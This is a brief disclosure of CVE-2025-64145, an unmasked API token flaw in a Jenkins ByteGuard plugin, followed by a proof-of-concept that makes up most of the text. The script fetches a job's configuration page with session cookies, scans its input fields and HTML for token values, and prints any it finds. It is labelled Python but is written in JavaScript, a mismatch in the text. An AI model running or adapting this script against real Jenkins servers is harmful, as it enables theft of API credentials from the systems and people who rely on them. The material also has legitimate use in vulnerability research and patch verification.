Jenkins ByteGuard Build Actions Plugin 1.0 does not mask API tokens displayed on the job configuration form, increasing the potential for attackers to observe and capture them.
The following code is for security research and authorized testing only.
python
// CVE-2025-64145 PoC - Information Disclosure via Unmasked API Token
// This PoC demonstrates how to extract unmasked API tokens from Jenkins ByteGuard Plugin
// Step 1: Access the job configuration page
const jobName = 'your-target-job';
const configUrl = `${jenkinsUrl}/job/${jobName}/configure`;
// Step 2: Fetch the configuration page
fetch(configUrl, {
method: 'GET',
credentials: 'include' // Include session cookies for authentication
})
.then(response => response.text())
.then(html => {
// Step 3: Parse the HTML to find unmasked API tokens
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
// Look for input fields containing 'token' or 'api' in name/ID
const inputs = doc.querySelectorAll('input[type="text"], input[type="password"]');
inputs.forEach(input => {
const name = input.name || input.id || '';
const type = input.type;
// Check if this is a ByteGuard API token field
if (name.toLowerCase().includes('token') ||
name.toLowerCase().includes('api') ||
name.toLowerCase().includes('byteguard')) {
// If type is 'text' instead of 'password', token is unmasked
if (type === 'text') {
console.log('[!] Unmasked token found!');
console.log('Field name:', name);
console.log('Token value:', input.value);
}
}
});
// Alternative: Search in raw HTML for visible token values
const tokenPattern = /name=["'][^"']*token[^"']*["'][^>]*value=["']([^"']+)["']/gi;
let match;
while ((match = tokenPattern.exec(html)) !== null) {
console.log('[!] Token found in HTML:', match[1]);
}
});
// Note: This PoC requires a valid Jenkins session with Job/Configure permission